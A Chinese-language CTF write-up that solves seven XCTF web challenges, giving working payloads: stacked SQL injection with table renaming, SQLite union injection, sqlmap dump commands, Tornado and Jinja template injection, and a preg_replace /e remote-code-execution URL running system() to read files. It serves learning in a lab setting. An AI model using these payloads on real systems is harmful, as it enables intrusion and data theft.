攻防世界Web进阶3(4分5分题)

文章目录

  • 一.supersqli
    • First 解题分析:
      • 堆叠注入
  • 二.FlatScience
    • First 解题过程:
  • 三.easytornado
    • First 解题过程:
      • render渲染:
      • tornado模板
  • 四.Cat
      • First 解题思路:
  • 五.ics-04
    • First 解题思路:
  • 六.shrine
    • First 思路分析:
    • Second 解题内容:
  • 七.ics-05
    • First 解题分析:
      • preg_replace()这个函数的漏洞
    • Second 解题过程:

一.supersqli

First 解题分析:

根据提示,知道这是一道注入的题
(1)首先判断是否存在注入点
在输入框里尝试:

1' and 1=1# //成功
1' and 1=2# //失败

(2)获取列数

1' order by 2# //正确
1' order by 3# //报错

攻防世界Web进阶3(4分5分题)_第1张图片

所以推测有两列

(3)开始注入
开始想用union联合查询进行爆破
但是发现不行,会返回这样的错误信息:
攻防世界Web进阶3(4分5分题)_第2张图片

分析:
preg_match 函数用于执行一个正则表达式匹配。
攻防世界Web进阶3(4分5分题)_第3张图片

可以看到限制使用了select等方法

之后用堆叠方法进行注入。

堆叠注入

1.知识点:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

参考链接:https://www.cnblogs.com/0nth3way/articles/7128189.html

2.本题内容


function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "
"
; } $rs->Close(); //关闭结果集 if ($mysqli->more_results()){ //判断是否还有更多结果集 echo "
"
; } } }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值 } else { echo "error ".$mysqli->errno." : ".$mysqli->error; } $mysqli->close(); //关闭数据库连接 } ?>

这里的重点是multi_query()函数:执行一条或多条sql语句,然后将结果全部输出。这就使堆叠注入有了前提。

3.开始堆叠注入:
(1)查看表

1';show tables;

攻防世界Web进阶3(4分5分题)_第4张图片

(2)查看字段

1';show columns from `1919810931114514`#

攻防世界Web进阶3(4分5分题)_第5张图片

1';show columns from `words`#

攻防世界Web进阶3(4分5分题)_第6张图片
攻防世界Web进阶3(4分5分题)_第7张图片

可以看到我们要想获得flag,需要访问“1919810931114514”表中flag字段的内容。

(3)查看具体内容
这里有两种方法进行解题:
思路一:
正常输入1时,推测显示的应该是words里的内容,所以,通过数据库注入修改191…这个表名字为words,得到显示。

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

之后在显示所有内容即可

1' or 1=1#

攻防世界Web进阶3(4分5分题)_第8张图片

方法二:
通过对select进行预编译的方式绕过对select的检测:
预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

构造:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

可以看到:还是做了一定的限制
攻防世界Web进阶3(4分5分题)_第9张图片

但是经过以前的学习知道,strstr这个函数对大小写并不敏感,所以把原来的命令换成大写就行:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

得到:
攻防世界Web进阶3(4分5分题)_第10张图片

二.FlatScience

First 解题过程:

(1)先对这个网站进行扫描:

uniscan -u http://111.198.29.45:49281/ -e

发现robots.txt文件:
攻防世界Web进阶3(4分5分题)_第11张图片

(2)访问两个界面:
在login.php界面中输入东西网页会有反应
但用SQL注入好像不行…
查看网页源代码
攻防世界Web进阶3(4分5分题)_第12张图片
发现有参数提示
在URL中进行构造:

http://111.198.29.45:49281/login.php?debug

看到网页弹出了后台的PHP语言:


if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "
Some Error occourred!"
; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?>

开始用burp抓包尝试看有没有可以修改的地方
看到传进来两个参数:
攻防世界Web进阶3(4分5分题)_第13张图片

解题过程中对于我的一个难点是这个数据库是sqlite数据库,表的结构和查询函数和MySQL有所不同。

SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。它是D.RichardHipp建立的公有领域项目。它的设计目标是嵌入式的,而且已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。它能够支持Windows/Linux/Unix等等主流的操作系统,同时能够跟很多程序语言相结合,比如 Tcl、C#、PHP、Java等,还有ODBC接口,同样比起Mysql、PostgreSQL这两款开源的世界著名数据库管理系统来讲,它的处理速度比他们都快。

(3)进行数据库的查询
更改注入内容:

usr=' union select name,sql from sqlite_master--+&pw=123

为什么要查询sql呢,这涉及到sqlite自带的结构表sqlite_master,sql是sqlite_master中的一个字段,注入时经常用到的,注入后响应头的set-cookie

得到
攻防世界Web进阶3(4分5分题)_第14张图片

set-cookie字段中的内容为:

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

根据上面的字段进行查看:
例如:
攻防世界Web进阶3(4分5分题)_第15张图片

最后获得的内容为:

admin        3fab54a50e770d830c0416df817567662a9dc85c     +my+fav+word+in+my+fav+paper?!
fritze       54eae8935c90f467427f05e4ece82cf569f89507     +my+love+is�
hansi        34b0bb7c304949f9ff2fc101eef0f048be10d3bd     +the+password+is+password

根据用户名为admin的内容+上面的密码构造的PHP代码来看:
密码构造为:作者最喜欢的一片文章中的一个单词+salt值,经过sha1后为3fab54a50e770d830c0416df817567662a9dc85c 。

(4)开始获取密码::
第一步,爬取这30篇文章
借鉴大佬代码

import urllib.request
import re

allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")


def my_reptile(url_root,html):
	global pat_pdf
	global pat_html
	html=url_root+html
	
	if(isnew(html)):
		allHtml.append(html)
		
		print("[*]starting to crawl site:{}".format(html))
		with urllib.request.urlopen(html) as f:
			response=f.read().decode('utf-8')
			
		pdf_url=pat_pdf.findall(response)
		for p in pdf_url:
			p=p[6:len(p)-1]
			download_pdf(html+p)
			
		html_url=pat_html.findall(response)
		for h in html_url:
			h=h[6:len(h)-11]
			my_reptile(html,h)
		
def download_pdf(pdf):
	global count
	
	fd=open(str(count)+'.pdf','wb')
	count+=1
	
	print("[+]downloading pdf from site:{}".format(pdf))
	with urllib.request.urlopen(pdf) as f:
		fd.write(f.read())
	fd.close()
	
def isnew(html):
	global allHtml
	for h in allHtml:
		if(html==h):
			return False
	return True


if __name__=="__main__":
	my_reptile("http://111.198.29.45:34582/",'')

成功(getPDF.py是我存放上面那些代码的文件)
攻防世界Web进阶3(4分5分题)_第16张图片

得到这些PDF
攻防世界Web进阶3(4分5分题)_第17张图片
再次借鉴大佬代码,
将PDF转换为txt格式
转换代码:

from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os

def pdf2txt(pdfFile,txtFile):
	print('[+]converting {} to {}'.format(pdfFile,txtFile))
	
	fd_txt=open(txtFile,'w',encoding='utf-8')
	fd_pdf=open(pdfFile,'rb')
	
	parser=PDFParser(fd_pdf)
	doc=PDFDocument()
	parser.set_document(doc)
	doc.set_parser(parser)
	doc.initialize()
	
	manager=PDFResourceManager()
	laParams=LAParams()
	device=PDFPageAggregator(manager,laparams=laParams)
	interpreter=PDFPageInterpreter(manager,device)
	
	for page in doc.get_pages():
		interpreter.process_page(page)
		layout=device.get_result()
		
		for x in layout:
			if(isinstance(x,LTTextBoxHorizontal)):
				fd_txt.write(x.get_text())
				fd_txt.write('\n')
	fd_pdf.close()
	fd_txt.close()
	print('[-]finished')
	
def crazyWork():
	print('[*]starting my crazy work')
	files=[]
	for f in os.listdir():
		if(f.endswith('.pdf')):
			files.append(f[0:len(f)-4])
	
	for f in files:
		pdf2txt(f+'.pdf',f+'.txt')
	
if __name__=='__main__':
	crazyWork()

转换命令:

python3 getPass.py

(这里注意python2中是pdfminer ,python3中是pdfminer3k,所以如果原来电脑中没有这个模块时,用pip3安装时要注意安装的模块是pdf miner3k。)
得到:
攻防世界Web进阶3(4分5分题)_第18张图片

用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码:

import os
import hashlib

def searchPassword():
	print('[*]starting to search the word')
	for file in os.listdir():
		if(file.endswith('.txt')):
			print('[+]searching {}'.format(file))
			with open(file,'r',encoding='utf-8') as f:
				for line in f:
					words=line.split(' ')
					for word in words:
						if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
							print('[@]haha,i find it:{}'.format(word))
							exit()
							
if __name__=='__main__':
	searchPassword()

然后得到答案:
攻防世界Web进阶3(4分5分题)_第19张图片

之后在admin.php页面输入,得到flag
攻防世界Web进阶3(4分5分题)_第20张图片

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?} 

三.easytornado

First 解题过程:

(1)打开题目
攻防世界Web进阶3(4分5分题)_第21张图片

先查看/flag.txt
攻防世界Web进阶3(4分5分题)_第22张图片
打开发现有提示,且注意他的URL,很长,两个参数的构造(一个filename,一个file)
所以我们先把解题思路放到构建这个URL上
访问

111.198.29.45:49464/file?filename=/fllllllllllllag&filehash=d9f41ee65ac3fa6d3e03d067114fb462

(2)看到的是报错界面,但这个界面还有参数传入
攻防世界Web进阶3(4分5分题)_第23张图片

(3)根据题目,看到这是一个框架的题目,分析应该是模板注入吧,根据提示,这是一个Tornado 框架,而且用render渲染
(我这里其实不知道,借鉴某位大佬的内容吧,我是一个勤劳的搬运工==:https://www.jianshu.com/p/55c75e0f7928)
讲解内容一:

render渲染:

该思想来源于题目的提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,简单的理解例子如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape
 
class custom(UIModule):
 
    def render(self, *args, **kwargs):
        return escape.xhtml_escape('

wupeiqi

'
) #return escape.xhtml_escape('

wupeiqi

')
#!/usr/bin/env python # -*- coding:utf-8 -*- import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.render('index.html') class LoginHandler(BaseHandler): def get(self): ''' 当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢? 在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler 继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做 ''' ''' 我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie() ''' # self.set_cookie() # self.get_cookie() self.render('login.html', **{'status': ''}) def login(request): #获取用户输入 login_form = AccountForm.LoginForm(request.POST) if request.method == 'POST': #判断用户输入是否合法 if login_form.is_valid():#如果用户输入是合法的 username = request.POST.get('username') password = request.POST.get('password') if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password: request.session['auth_user'] = username return redirect('/index/') else: return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'}) else: error_msg = login_form.errors.as_data() return render(request,'account/login.html',{'model': login_form,'errors':error_msg}) # 如果登录成功,写入session,跳转index return render(request, 'account/login.html', {'model': login_form})

我们大概可以看出来,render是一个类似模板的东西,可以使用不同的参数来访问网页。

tornado模板

这个模版要学习的内容很多,我就摘抄些和我们这道题相关的内容
一):

一个普通的tornado web服务器通常由四大组件组成。

  • ioloop实例,它是全局的tornado事件循环,是服务器的引擎核心,示例中tornado.ioloop.IOLoop.current()就是默认的tornado ioloop实例。
  • app实例,它代表着一个完成的后端app,它会挂接一个服务端套接字端口对外提供服务。一个ioloop实例里面可以有多个app实例,示例中只有1个,实际上可以允许多个,不过一般几乎不会使用多个。
  • handler类,它代表着业务逻辑,我们进行服务端开发时就是编写一堆一堆的handler用来服务客户端请求。路由表,它将指定的url规则和handler挂接起来,形成一个路由映射表。当请求到来时,根据请求的访问url查询路由映射表来找到相应的业务handler。
  • 这四大组件的关系是,一个ioloop包含多个app(管理多个服务端口),一个app包含一个路由表,一个路由表包含多个handler。ioloop是服务的引擎核心,它是发动机,负责接收和响应客户端请求,负责驱动业务handler的运行,负责服务器内部定时任务的执行。
    当一个请求到来时,ioloop读取这个请求解包成一个http请求对象,找到该套接字上对应app的路由表,通过请求对象的url查询路由表中挂接的handler,然后执行handler。handler方法执行后一般会返回一个对象,ioloop负责将对象包装成http响应对象序列化发送给客户端。

二):在tornado模板中,存在一些可以访问的快速对象,例如

</span>
     <span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token function">escape</span><span class="token punctuation">(</span>handler.settings[<span class="token string">"cookie"</span>]<span class="token punctuation">)</span> <span class="token punctuation">}</span><span class="token punctuation">}</span>
 

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

所以,我们尝试

http://111.198.29.45:49464/error?msg={{handler.settings}}

攻防世界Web进阶3(4分5分题)_第24张图片

得到cookie_secret

'7b7b39eb-cd51-4ccb-af2d-040efcf04c5c'

(4)
我们在根据构建密码的提示:
攻防世界Web进阶3(4分5分题)_第25张图片

开始进行构造

#!/usr/bin/env python
import hashlib

def md5(s):
  md5 = hashlib.md5() #获取md5对象
  md5.update(s)  # 进行更新注意需要使用 字符串的二进制格式
  return md5.hexdigest() # 获取加密后的内容


def filehash():
    filename = '/fllllllllllllag'
    cookie_secret ='7b7b39eb-cd51-4ccb-af2d-040efcf04c5c'
    print(md5(cookie_secret+md5(filename))) #hints md5(cookie_secret+md5(filename))


if __name__ == '__main__':
 filehash()

得到:e44a733fb9df7b78f3c065ff60640b1f
在这里插入图片描述

(5)构造

111.198.29.45:49464/file?filename=/fllllllllllllag&filehash=e44a733fb9df7b78f3c065ff60640b1f

得到:flag{3f39aea39db345769397ae895edb9c70}

攻防世界Web进阶3(4分5分题)_第26张图片

四.Cat

First 解题思路:

(1)进去,发现URL处可以传参。尝试了很多方法发现还是没有啥思路,无奈只能去看大佬writeup了==(哭)。
借鉴:https://blog.csdn.net/baguangman5501/article/details/102031547

发现,关键一步是用FUZZ扫描(还没有学会怎么用FUZZ扫描)

攻防世界Web进阶3(4分5分题)_第27张图片发现@这个符号没有被过滤

然后尝试输入%bf(url=后面加上%df 宽子节(不在ascii编码范围都报错)),页面报错

攻防世界Web进阶3(4分5分题)_第28张图片

找到数据库对应的文件
然后因为有一下规则:
攻防世界Web进阶3(4分5分题)_第29张图片

所以访问

http://111.198.29.45:51826/index.php?url=@/opt/api/database.sqlite3
里面搜索CTF,有
在这里插入图片描述

五.ics-04

First 解题思路:

(1)首先看到题目的提示,浏览各个网页,判断这应该是一道SQL注入的题。
我这里用的是Sqlmap进行的扫描

扫描到http://111.198.29.45:30119/findpwd.php这个网页时,

sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1"

发现注入点。

(2)之后开始得到数据库:

sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" --dbs

得到数据库:
攻防世界Web进阶3(4分5分题)_第30张图片

(3)得到数据表

sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" -D cetc004 --tables

有:
攻防世界Web进阶3(4分5分题)_第31张图片

(4)得到列

sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" -D cetc004 -T user --columns

有:
攻防世界Web进阶3(4分5分题)_第32张图片

(5)得到里面的内容

sqlmap -u http://111.198.29.45:30119/findpwd.php --data="username=1" -D cetc004 -T user -C"username,password" --dump

有:得到原来数据表中的内容(后面的123什么的都是在尝试时我自己加上的)
攻防世界Web进阶3(4分5分题)_第33张图片

(6)然后试一下网上的md5解密这个password,发现解析不出来。
但是发现这个网站可以重复注册用户名
那么我们重新注册ct3lwDmIn23这个用户名
再次在登录界面使用:
攻防世界Web进阶3(4分5分题)_第34张图片

得到flag:

cyberpeace{9b6cd95fd45a2b04f90dd48c6b1dc76e}

六.shrine

First 思路分析:

首先打开网站,看到网站的源码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

里面有些关键词:jinja什么的,判断这应该是一道模版注入的题吧。

(1)通过分析上面的源码,可以看待这段代码有一下几个内容:

  • A.路径在/shrine/下
  • B.将所有的( ,) 都替换成了空格。
  • C.有黑名单:config, self。

(2)进行分析,常规的jinja注入,参见三分题第一题。因为这里的()都已经被替换,所以那道题中的解题方面不适用了。
这里的方式是适用内置函数:get_flashed_messages(), url_for()

  • url_for()

一般我们通过一个URL就可以执行到某一个函数。如果反过来,我们知道一个函数,怎么去获得这个URL呢?url_for函数就可以帮我们实现这个功能。url_for()函数接收两个及以上的参数,他接收函数名作为第一个参数,接收对应URL规则的命名参数,如果还出现其他的参数,则会添加到URL的后面作为查询参数。

参考:https://www.cnblogs.com/c-x-a/p/8821293.html

  • get_flashed_messages()

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

Second 解题内容:

一.方法一:
首先查:
{{url_for.__globals__}}
攻防世界Web进阶3(4分5分题)_第35张图片

注意到这个,我们就获取当前App下的config

/shrine/{{url_for.__globals__['current_app'].config}}
可以看到flag:
攻防世界Web进阶3(4分5分题)_第36张图片

二.方法二:
构建payload:
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
有:
攻防世界Web进阶3(4分5分题)_第37张图片

flag:flag{shrine_is_good_ssti}

七.ics-05

First 解题分析:

(1)在这个网页上发现,URL存在可以传递的参数
攻防世界Web进阶3(4分5分题)_第38张图片

之后尝试了几个方法都做不下去了…
之后借鉴大佬的做法:此处的漏洞应该是:本地文件包含漏洞(LFI)
具体参见:https://www.cnblogs.com/wh4am1/p/6542398.html

(2)所以
尝试读取index.php的源码,采用php伪协议

?page=php://filter/read=convert.base64-encode/resource=index.php

(为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)

得到:
攻防世界Web进阶3(4分5分题)_第39张图片

利用Base64解码:
攻防世界Web进阶3(4分5分题)_第40张图片

有用的代码如下:


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "
Welcome My Admin !
"
; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

分析这段代码,要想构建出答案需要构建满足两个条件的地方:

  • 构建出一个HTTP_X_FORWARDED_FOR头部
  • 利用preg_replace()这个函数的漏洞,构建三个参数:pat、rep、sub

preg_replace()这个函数的漏洞

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行

Second 解题过程:

所以构建:

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123

(”+“号在url中会被解释成空格号,这里用%20也行)

攻防世界Web进阶3(4分5分题)_第41张图片

得到flag的路径:./s3chahahaDir/flag

转到这个下面查看文件:

/index.php?pat=/123/e&rep=system(%22cd+./s3chahahaDir/flag%26%26ls%22)&sub=123

Burp抓包下:
攻防世界Web进阶3(4分5分题)_第42张图片

看到flag在flag.php下

最后构建

/index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

Burp抓包,填上X-Forwarded_For头部,有

攻防世界Web进阶3(4分5分题)_第43张图片

所以有:$flag = 'cyberpeace{2e04368351a467694635c30566e7c0d4}';

你可能感兴趣的:(CTF刷题)